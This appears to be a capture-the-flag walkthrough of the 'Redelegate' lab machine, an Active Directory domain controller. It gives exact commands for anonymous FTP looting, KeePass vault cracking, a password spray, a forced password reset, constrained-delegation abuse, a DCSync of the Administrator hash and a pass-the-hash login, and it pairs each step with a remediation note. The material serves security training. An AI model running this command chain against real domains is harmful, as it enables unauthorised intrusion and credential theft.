Redelegate
Summary
I found a Windows Server 2022 domain controller for redelegate.vl that allowed anonymous FTP access. The share held a password-manager vault and a training note hinting at a seasonal password pattern. The vault's master password was cracked offline, revealing a local SQL Server login.
That login was used to enumerate domain accounts, and a seasonal password spray against them produced a valid domain user. This user held a delegated right to reset another user's password, giving a WinRM shell as that account. That account held SeEnableDelegationPrivilege and full control over a computer object, which was abused to configure constrained delegation, impersonate the domain controller, and retrieve the Administrator account's password hash.
Using that hash to authenticate gave full domain control.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export CHOSEN_PASSWORD="<a-password-you-choose>"Some commands also carry a value in angle brackets (<entry>, <nt-hash>), which you replace inline with what the step before it turned up.
Attack path: how the box was taken
Exact commands 3
Add the DC to local name resolution (FQDN before bare domain).
$ echo "$TARGET dc.redelegate.vl redelegate.vl dc" | sudo tee -a /etc/hostsFull port scan; shows ftp-anon and the AD service set.
$ nmap -sC -sV -p- --min-rate 2000 $TARGETSync the clock to the DC to avoid Kerberos skew errors later.
$ sudo ntpdate dc.redelegate.vlFixDisable anonymous FTP accessHigh
Exact commands 3
Log in as 'anonymous' with any password, then: binary; mget *
$ ftp $TARGETpass.txt = candidate passwords matching the 'SeasonYear!' pattern from TrainingAgenda.txt.
$ keepass2john Shared.kdbx > Shared.kdbx.hash && john --wordlist=pass.txt Shared.kdbx.hashEnter the recovered master password when prompted; read each stored entry, including the SQLGuest login.
$ keepassxc-cli show -s Shared.kdbx <entry>FixStop storing shared credential vaults on accessible file shares and enforce stronger master passwordsHigh
Exact commands 3
Confirm the local SQL login works.
$ nxc mssql $TARGET -u SQLGuest -p '<SQLGuest password from vault>' --local-authResolve REDELEGATE\<user> names via SQL Server SID lookups; save them to users.txt.
$ msfconsole -q -x "use auxiliary/admin/mssql/mssql_enum_domain_accounts; set USERNAME SQLGuest; set PASSWORD <SQLGuest password>; set RHOSTS $TARGET; set RPORT 1433; set FUZZNUM 9999; run"Try the same seasonal pattern against the resolved usernames over SMB; one account matches.
$ nxc smb redelegate.vl -u users.txt -p pass.txt --continue-on-successFixRestrict SQL Server account enumeration and eliminate weak/shared passwordsHigh
Exact commands 6
Map group memberships and ACEs; shows HelpDesk -> ForceChangePassword on Helen.Frost, and Helen.Frost -> CanPSRemote on the DC.
$ bloodhound-python -u marie.curie -p '<Marie.Curie password>' -d redelegate.vl -dc dc.redelegate.vl --zip -c All -ns $TARGETGet a Kerberos ticket for Marie.Curie.
$ impacket-getTGT redelegate.vl/marie.curie:'<Marie.Curie password>'Point Kerberos tooling at that ticket.
$ export KRB5CCNAME=marie.curie.ccacheUse the ForceChangePassword right to reset Helen.Frost's password.
$ bloodyAD -d redelegate.vl -k --host dc.redelegate.vl set password HELEN.FROST "$CHOSEN_PASSWORD"Log in as Helen.Frost; run whoami and klist to confirm context before reading the flag.
$ evil-winrm -i dc.redelegate.vl -u HELEN.FROST -p "$CHOSEN_PASSWORD"Read the user flag; actual -> <user.txt>
$ type C:\Users\Helen.Frost\Desktop\user.txtFixRestrict help-desk ForceChangePassword delegation and tier remote-management rightsHigh
Exact commands 5
Get a ticket for Helen.Frost; export KRB5CCNAME=HELEN.FROST.ccache
$ impacket-getTGT redelegate.vl/HELEN.FROST:'<Helen.Frost password>'Use GenericAll on the computer object to set a known password for it.
$ bloodyAD -d redelegate.vl -k --host dc.redelegate.vl set password FS01\$ "$CHOSEN_PASSWORD"Enable protocol transition on FS01$.
$ bloodyAD -d redelegate.vl -k --host dc.redelegate.vl add uac FS01$ -f TRUSTED_TO_AUTH_FOR_DELEGATIONConfigure constrained delegation from FS01$ to the DC's file service.
$ bloodyAD -d redelegate.vl -k --host dc.redelegate.vl set object FS01$ msDS-AllowedToDelegateTo -v 'cifs/dc.redelegate.vl'S4U2Self + S4U2Proxy: obtain a service ticket as FS01$ impersonating the DC's own computer account; produces dc.ccache.
$ impacket-getST -spn cifs/dc.redelegate.vl -impersonate dc "redelegate.vl/fs01\$:$CHOSEN_PASSWORD"FixRemove unnecessary delegation privileges and GenericAll rights on computer objectsCritical
Exact commands 4
Point Kerberos tooling at the impersonated DC ticket.
$ export KRB5CCNAME=dc.ccacheRequest just the Administrator account's secrets via replication; returns the NT hash.
$ impacket-secretsdump -k -no-pass dc.redelegate.vl -just-dc-user AdministratorPass-the-hash login as domain Administrator.
$ evil-winrm -i $TARGET -u Administrator -H <nt-hash>Read the root flag; actual -> <root.txt>
$ type C:\Users\Administrator\Desktop\root.txtFixRestrict directory replication rights and monitor for DCSync-style requestsCritical
Attack patterns used
The transferable techniques behind this compromise.
DCSyncActive Directory · Credential AccessT1003.006
What it is
DCSync abuses the Directory Replication Service (DRSUAPI) protocol that Domain Controllers use to replicate data. A principal holding the Replicating Directory Changes rights can ask a DC to replicate password hashes for any account, including krbtgt, without touching LSASS, e.g. secretsdump.py -just-dc. Recovering krbtgt enables Golden Tickets.
Why it works
Replication rights are meant only for DCs and a few admin roles; over-delegation (or compromise of a privileged account) lets an unauthorised user impersonate a DC. Remediate by auditing who holds replication rights and monitoring DRSUAPI requests from non-DC hosts.
Read more
Exposed services
| 21/tcp | ftp Microsoft ftpd |
| 53/tcp | dns recon-sweep-discovered |
| 80/tcp | http Microsoft IIS httpd 10.0 |
| 88/tcp | unknown recon-sweep-discovered |
| 135/tcp | rpc recon-sweep-discovered |
| 139/tcp | smb recon-sweep-discovered |
| 389/tcp | ldap recon-sweep-discovered |
| 445/tcp | microsoft-ds |
| 464/tcp | unknown recon-sweep-discovered |
| 593/tcp | http recon-sweep-discovered |
| 636/tcp | ldap recon-sweep-discovered |
| 3268/tcp | ldap recon-sweep-discovered |
| 3389/tcp | ms-wbt-server Microsoft Terminal Services |
| 5985/tcp | winrm recon-sweep-discovered |
| 9389/tcp | unknown recon-sweep-discovered |
| 47001/tcp | unknown recon-sweep-discovered |
| 49295/tcp | unknown recon-sweep-discovered |
| 49298/tcp | unknown recon-sweep-discovered |
| 49299/tcp | unknown recon-sweep-discovered |
| 49664/tcp | unknown recon-sweep-discovered |
| 49665/tcp | unknown recon-sweep-discovered |
| 49666/tcp | unknown recon-sweep-discovered |
| 49667/tcp | unknown recon-sweep-discovered |
| 49669/tcp | unknown recon-sweep-discovered |
| 60438/tcp | unknown recon-sweep-discovered |
| 60451/tcp | unknown recon-sweep-discovered |
| 60453/tcp | unknown recon-sweep-discovered |
| 60456/tcp | unknown recon-sweep-discovered |
| 53/udp | domain |
| 123/udp | ntp |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.